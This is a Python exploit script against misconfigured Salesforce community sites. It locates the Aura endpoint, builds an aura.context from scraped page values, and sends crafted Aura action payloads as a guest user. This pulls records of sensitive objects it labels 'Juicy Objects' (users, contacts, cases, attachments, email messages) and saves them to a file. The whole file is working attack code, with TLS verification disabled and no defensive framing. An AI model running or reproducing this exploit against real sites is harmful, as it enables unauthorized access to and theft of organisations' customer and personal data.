import urllib.request
import urllib.parse
from urllib.error import URLError, HTTPError
import json
import argparse
import re
import sys
import ssl
import os
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE



aura_path_pattern = ("aura", "s/sfsites/aura", "sfsites/aura")
payload_pull_custom_obj = '{"actions":[{"id":"pwn","descriptor":"serviceComponent://ui.force.components.controllers.hostConfig.HostConfigController/ACTION$getConfigData","callingDescriptor":"UNKNOWN","params":{}}]}'

sf_object_name = ('Case', 'Account', 'User', 'Contact', 'Document', 'ContentDocument', 'ContentVersion', 'ContentBody', 'CaseComment', 'Note', 'Employee', 'Attachment', 'EmailMessage', 'CaseExternalDocument', 'Attachment', 'Lead', 'Name', 'EmailTemplate', 'EmailMessageRelation')


def http_request(url, values='', method='GET'):
    headers = {
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'
    }
    if method == 'POST':
        headers['Content-Type'] = 'application/x-www-form-urlencoded'
        data = urllib.parse.urlencode(values)
        data = data.encode('ascii')
        request = urllib.request.Request(url, data=data, method=method, headers=headers)
    else:
        request = urllib.request.Request(url, method=method, headers=headers)
        
    response_body = ''
    try:
        with urllib.request.urlopen(request, context=ctx) as response:
            response_body = response.read().decode("utf-8")
    except URLError as e:
        raise
    return response_body


def check(url):
    method = "POST"

    obj = {} 
    json_data = json.dumps(obj).encode("utf-8")
    aura_endpoint = ''
    for path in aura_path_pattern:
        tmp_aura_endpoint = urllib.parse.urljoin(url, path)

        try:
            response_body = http_request(tmp_aura_endpoint, values={}, method='POST')
        except HTTPError as e:
            response_body = content = e.read().decode("utf-8")

        if "aura:invalidSession" in response_body:
            aura_endpoint = tmp_aura_endpoint
            break
    
    return aura_endpoint


def get_aura_context(url):
    
    response_body = ''
    try:
        response_body = http_request(url)
    except Exception as e:
        print("[-] Failed to access the url")
        raise

    if ("window.location.href ='%s" % url) in response_body:
        location_url = re.search(r'window.location.href =\'([^\']+)', response_body)
        url = location_url.group(1)
        try:
            response_body = http_request(url)
        except Exception as e:
            print("[-] Failed to access the redirect url")
            raise

    aura_encoded = re.search(r'\/s\/sfsites\/l\/([^\/]+fwuid[^\/]+)', response_body)
    
    if aura_encoded is not None:
        response_body = urllib.parse.unquote(aura_encoded.group(1))

    fwuid = re.search(r'"fwuid":"([^"]+)', response_body)
    markup = re.search(r'"(APPLICATION@markup[^"]+)":"([^"]+)"', response_body)
    app = re.search(r'"app":"([^"]+)', response_body)

    if fwuid is None or markup is None or app is None:
        raise Exception("Couldn't find fwuid or markup")
    
    aura_context = '{"mode":"PROD","fwuid":"' + fwuid.group(1)
    aura_context += '","app":"' + app.group(1) + '","loaded":{"' + markup.group(1) 
    aura_context += '":"' + markup.group(2) + '"},"dn":[],"globals":{},"uad":false}'

    return aura_context

def create_payload(object_name):
    payload = '{"actions":[{"id":"pwn","descriptor":"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"entityNameOrId":"'
    payload += object_name
    payload += '","layoutType":"FULL","pageSize":100,"currentPage":0,"useTimeout":false,"getCount":false,"enableRowActions":false}}]}'
    return payload

def exploit(aura_endpoint, payload, aura_context):
    url = aura_endpoint + '?r=1&applauncher.LoginForm.getLoginRightFrameUrl=1'
        
    values = {
        'message': payload,
        'aura.context': aura_context,
        'aura.token': 'undefined'
    }

    try:
        response_body = http_request(url, values=values, method='POST')
    except Exception as e:
        raise 
    
    response_json = json.loads(response_body)
    return response_json 


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Exploit Salesforce through the aura endpoint with the guest privilege')
    parser.add_argument('-u', '--url', required=True, help='set the SITE url. e.g. http://url/site_path')
    parser.add_argument('-o', '--objects', 
        help='set the object name. Default value is "User" object. Juicy Objects: %s' % ",".join(sf_object_name), 
        nargs='*', default=['User'])
    parser.add_argument('-l', '--listobj', help='pull the custom object list.', action='store_true')
    parser.add_argument('-c', '--check', help='only check aura endpoint', action='store_true')
    parser.add_argument('-a', '--aura_context', help='set your valid aura_context')
    parser.add_argument("-p", "--proxy",required=False, help="Proxy for debugging")

    args = parser.parse_args()
    if args.proxy:
        http_proxy = args.proxy
        os.environ['HTTP_PROXY'] = http_proxy
        os.environ['HTTPS_PROXY'] = http_proxy
    
    

    print("[+] Loooking for aura endpoint and check vulnerability")
    aura_endpoint = check(args.url)
    if len(aura_endpoint) == 0:
        print("[-] Url doesn't seems to be vulnerable")
        sys.exit(0)
    else: 
        print("[+] %s seems to be vulnerable." % (aura_endpoint))

    if args.check:        
        sys.exit(0)
    
    print("[+] Start exploit")

    if args.aura_context is not None and len(args.aura_context) > 1:
        aura_context = args.aura_context
    else:
        try:
            aura_context = get_aura_context(args.url)
        except Exception as e:
            print("[-] Failed to get aura context. %s" % e)
            sys.exit(0)

    if args.listobj:
        print("[+] Pull the custom object list")
        try:
            response = exploit(aura_endpoint, payload_pull_custom_obj, aura_context)
        except Exception as e:
            print("[-] Failed to pull the object list.")
        else:
            print(json.dumps(response, ensure_ascii=False, indent=2))
        finally:
            sys.exit(0)

    for object_name in args.objects:
        print("[+] Getting \"%s\" object..." % object_name)
        payload = create_payload(object_name)
        try:
            response = exploit(aura_endpoint, payload, aura_context)
        except Exception as e:
            print("[-] Failed to exploit.")
        else:
            print("[+] State: %s" % response.get('actions')[0].get('state'))
            print("[+] Result: " )
            result_print = (json.dumps(response.get('actions')[0].get('returnValue'), ensure_ascii=False, indent=2))
            print (result_print)
            text_file = open("response.json", "w+")
            text_file.write(result_print)
            text_file.close()
